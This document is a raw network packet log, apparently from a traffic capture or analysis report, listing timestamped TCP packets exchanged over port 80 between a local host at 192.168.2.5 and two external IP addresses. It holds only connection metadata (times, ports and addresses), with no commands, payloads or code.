Dec 14, 2024 14:56:31.238882065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.238919973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.238998890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.239032984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.240034103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.240142107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.240183115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.241106987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.241144896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.241226912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.241259098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.242233992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.242273092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.242301941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.242331982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.243338108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.243422985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.243460894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.244435072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.244474888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.244540930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.244579077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.245548010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.245588064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.245671988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.245706081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.246700048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.246740103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.246776104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.246822119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.247822046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.247908115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.247952938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.248934031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.248979092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.249005079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.249037981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.250019073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.250067949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.250128031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.250168085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.251141071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.251185894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.251231909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.251271009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.252243996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.252386093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.252430916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.253420115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.253468037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.253530979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.253567934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.254460096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.254508972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.254657030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.254693031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.255604982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.255742073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.255789042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.256706953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.256759882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.256810904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.256870031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.257824898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.257868052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.257930994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.257975101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.258927107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.258989096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.259073973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.259115934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.260030031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.260170937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.260217905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.261162043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.261209011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.261266947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.261303902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.262254000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.262300014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.262372017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.262415886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.263362885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.263478041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.263536930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.264501095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.264549017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.264637947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.264672995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.265636921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.265672922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.265686035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.265710115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.279392004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.279417992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.279611111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.279818058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.279860020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.279938936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.279979944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.280982971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.281030893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.281059980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.281097889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.282044888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.282093048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.282171011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.282216072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.283180952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.283265114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.283330917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.284337997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.284387112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.284414053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.284455061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.285002947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.285104990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.285463095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.285497904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.285559893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.285595894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.285595894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.286526918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.286577940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.286628008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.286668062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.287620068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.287724018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.287774086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.288749933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.288868904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.288881063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.288909912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.289238930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.289336920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.289851904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.289936066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.289940119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.289963007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.290013075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.290973902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.291013002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.291090012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.291126013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.292296886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.292330980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.292474031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.292510986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.293544054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.293670893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.293725967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.294542074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.294585943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.294600964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.294630051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.295417070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.295464993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.295516968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.295555115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.296529055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.296585083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.296638012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.296675920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.297662020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.297708988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.297787905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.297820091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.298774004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.298811913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.298844099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.298880100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.299918890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.299957991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.300023079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.300060034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.301007032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.301043034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.301089048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.301137924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.302105904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.302237034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.302277088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.303235054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.303472996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.303513050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.304307938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.304465055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.356036901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.356302023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.356446981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.358444929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.358560085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.358633995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.363205910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.364944935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.365050077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.365087986 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.369786978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.369847059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.369924068 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.374470949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.374489069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.374593973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.378953934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.379084110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.379204988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.383759022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.383773088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.383881092 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.388174057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.388288021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.388380051 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.392862082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.393093109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.393184900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.397463083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.397557974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.397639036 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.402160883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.402173996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.402273893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.406636000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.406697989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.406781912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.411247969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.411372900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.411458015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.415908098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.415970087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.416058064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.420475006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.420598030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.420686960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.424429893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.424439907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.424530983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.425590038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.425679922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.425741911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.426139116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.426182032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.426264048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.426304102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.427256107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.427270889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.427293062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.427309036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.428131104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.428262949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.428334951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.428415060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.428589106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.428714991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.428751945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.428817987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.428853989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.429821968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.429863930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.429891109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.429924011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.430680990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.430800915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.430860043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.431792021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.431807995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.431849957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.431931973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.431967974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.431993008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.432003021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.432037115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.432910919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.432965994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.433017015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.433057070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.434048891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.434091091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.434158087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.434194088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.435138941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.435177088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.435245037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.435281992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.435803890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.435848951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.435931921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.436289072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.436343908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.436383009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.437383890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.437490940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.437535048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.438484907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.438523054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.438582897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.438621044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.439605951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.439641953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.439673901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.439683914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.439722061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.439749002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.439783096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.440726995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.440942049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.440982103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.441836119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.441868067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.441981077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.442023039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.442948103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.442989111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.443103075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.443139076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.443435907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.443479061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.443564892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.444053888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.444185972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.444227934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.445184946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.445223093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.445298910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.445338011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.446281910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.446346045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.446415901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.446453094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.447385073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.447427988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.447490931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.447529078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.448519945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.448558092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.448621035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.448657990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.449620008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.449661016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.449736118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.449771881 CET	49876	80	192.168.2.5	31.41.244.11
